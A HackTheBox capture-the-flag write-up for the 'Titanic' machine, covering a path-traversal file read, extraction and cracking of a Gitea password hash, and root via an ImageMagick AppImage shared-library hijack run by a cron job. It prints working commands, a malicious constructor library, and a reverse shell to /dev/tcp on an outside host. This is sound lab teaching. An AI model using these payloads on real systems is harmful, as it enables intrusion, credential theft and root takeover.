Overview
Titanic is a Linux machine on HackTheBox rated Easy. A custom web application exposes a path traversal vulnerability through its ticket download feature, allowing arbitrary file reads. This leads to discovering a Gitea instance, extracting its SQLite database via LFI, and cracking user credentials. Privilege escalation abuses an ImageMagick AppImage binary that loads shared libraries from an attacker-controlled path.
| Property | Value |
|---|---|
| OS | Linux (Ubuntu) |
| IP | 10.10.11.55 |
| Difficulty | Easy |
| Key Techniques | Path Traversal / LFI, Gitea Hash Extraction, ImageMagick AppImage Hijack |
Enumeration
Port Scan
nmap -sC -sV 10.10.11.55
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 (Ubuntu) |
| 80/tcp | HTTP | Apache httpd (titanic.htb) |
Add to /etc/hosts:
10.10.11.55 titanic.htb
The web application is a custom site with a ticket submission feature. Submitting a ticket returns a JSON response containing a download URL.
Foothold
Path Traversal via Ticket Download
The /download endpoint accepts a ticket parameter that is vulnerable to classic directory traversal:
curl "http://titanic.htb/download?ticket=../../../../etc/passwd"
This confirms arbitrary file read. Key users from /etc/passwd:
| User | Shell |
|---|---|
| root | /bin/bash |
| developer | /bin/bash |
Reading the User Flag via LFI
The path traversal allows reading user files directly:
curl "http://titanic.htb/download?ticket=../../../../home/developer/user.txt"
User flag obtained without SSH access.
Subdomain Enumeration
Using ffuf to discover subdomains:
ffuf -u http://titanic.htb -H "Host: FUZZ.titanic.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fw 20
Result: dev.titanic.htb — running Gitea (self-hosted Git service).
Confirmation via LFI on /etc/hosts:
curl "http://titanic.htb/download?ticket=../../../../etc/hosts"
# 10.10.11.55 titanic.htb dev.titanic.htb
Gitea Reconnaissance
gobuster dir -u http://dev.titanic.htb -w /usr/share/wordlists/dirb/common.txt
Key findings:
| Path | Note |
|---|---|
/developer |
User profile with Git repositories |
/developer/docker-config |
Docker Compose configurations |
/developer/flask-app |
Source code for the main web app |
The Docker Compose file reveals MySQL credentials and volume mount paths:
environment:
- MYSQL_ROOT_PASSWORD=MySQLP@$w0rd!
- MYSQL_DATABASE=gitea
- MYSQL_USER=gitea
- MYSQL_PASSWORD=MySQLP@$w0rd!
volumes:
- ./gitea-data:/data
Credential Extraction
Gitea Database Download
Knowing the Gitea data volume path, the SQLite database can be downloaded via LFI:
curl "http://titanic.htb/download?ticket=../../../../home/developer/gitea-data/gitea/gitea.db" \
-o gitea.db
Hash Extraction
Using gitea2hashcat.py to extract password hashes from the database:
python3 gitea2hashcat.py gitea.db
Output:
developer:pbkdf2_hi$SHA256$50000$...
The hash format is PBKDF2-HMAC-SHA256 with 50,000 iterations (hashcat mode 10900).
Hash Cracking
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Result: 25282528
| Field | Value |
|---|---|
| Username | developer |
| Password | 25282528 |
SSH Access
ssh developer@titanic.htb
# Password: 25282528
Privilege Escalation
Enumeration — Cron Script
A script /opt/scripts/identify_images.sh runs periodically with root privileges:
cd /opt/app/static/assets/images/
for f in *.jpg; do
/usr/local/bin/magick identify "$f"
done
The script uses ImageMagick via an AppImage binary to process all .jpg files in a writable directory.
ImageMagick AppImage Hijack (GHSA-8rxc-922v-phg8)
ImageMagick versions <= 7.1.1-35 packaged as an AppImage are vulnerable to shared library hijacking. When executed, the AppImage extracts to a temporary directory and loads libraries from the current working directory before system paths.
Checking the version:
/usr/local/bin/magick --version
# ImageMagick 7.1.1-35
Confirmed vulnerable. The attack involves placing a malicious libxcb.so.1 in the images directory.
Exploitation
Create a malicious shared library with a constructor function:
// exploit.c
#include <stdlib.h>
__attribute__((constructor))
void init(void) {
system("cat /root/root.txt > /tmp/root.txt && chmod 644 /tmp/root.txt");
}
Compile it:
gcc -shared -fPIC -o libxcb.so.1 exploit.c
Copy to the images directory and create a dummy .jpg to trigger processing:
cp libxcb.so.1 /opt/app/static/assets/images/
cp /opt/app/static/assets/images/existing.jpg /opt/app/static/assets/images/trigger.jpg
Wait for the cron script to execute:
cat /tmp/root.txt
Root flag obtained.
For a persistent root shell, modify the constructor to spawn a reverse shell:
__attribute__((constructor))
void init(void) {
system("bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'");
}
Key Takeaways
- Path traversal / LFI remains one of the most impactful web vulnerabilities. Always sanitize file path parameters and restrict file access to intended directories.
- Gitea SQLite databases store password hashes that can be extracted and cracked offline. Use strong, unique passwords for all self-hosted services.
- AppImage binaries can be vulnerable to shared library hijacking if they load libraries relative to the current working directory. Avoid running AppImage binaries from untrusted or writable directories, especially as root.
- Cron scripts running as root in writable directories create a classic privilege escalation vector. Always ensure scripts operate in directories with restricted write permissions.